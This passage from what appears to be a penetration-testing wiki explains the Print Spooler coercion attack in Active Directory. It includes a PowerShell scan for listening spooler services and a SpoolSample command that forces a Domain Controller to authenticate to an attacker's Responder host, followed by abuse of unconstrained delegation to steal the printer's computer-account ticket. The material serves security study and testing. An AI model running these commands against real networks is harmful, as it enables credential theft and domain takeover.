If the _**Print Spooler**_ service is **enabled,** you can use some already known AD credentials to **request** to the Domain Controller’s print server an **update** on new print jobs and just tell it to **send the notification to some system**.
Note when printer send the notification to an arbitrary systems, it needs to **authenticate against** that **system**. Therefore, an attacker can make the _**Print Spooler**_ service authenticate against an arbitrary system, and the service will **use the computer account** in this authentication.
Using a slightly modified @mysmartlogin's \(Vincent Le Toux's\) [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket), see if the Spooler Service is listening:
```bash
. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
```
You can also use rpcdump.py on Linux and look for the MS-RPRN Protocol
### Ask the service to authenticate against an arbitrary host
You can compile[ **SpoolSample from here**](https://github.com/NotMedic/NetNTLMtoSilverTicket)**.**
```bash
SpoolSample.exe <TARGET><RESPONDERIP>
```
or use [**3xocyte's dementor.py**](https://github.com/NotMedic/NetNTLMtoSilverTicket) or [**printerbug.py**](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py) if you're on Linux
If an attacker has already compromised a computer with [Unconstrained Delegation](unconstrained-delegation.md), the attacker could **make the printer authenticate against this computer**. Due to the unconstrained delegation, the **TGT** of the **computer account of the printer** will be **saved in** the **memory** of the computer with unconstrained delegation. As the attacker has already compromised this host, he will be able to **retrieve this ticket** and abuse it \([Pass the Ticket](pass-the-ticket.md)\).
## Inside Windows
If you are already inside the Windows machine you can force Windows to connect to a server using privileged accounts with:
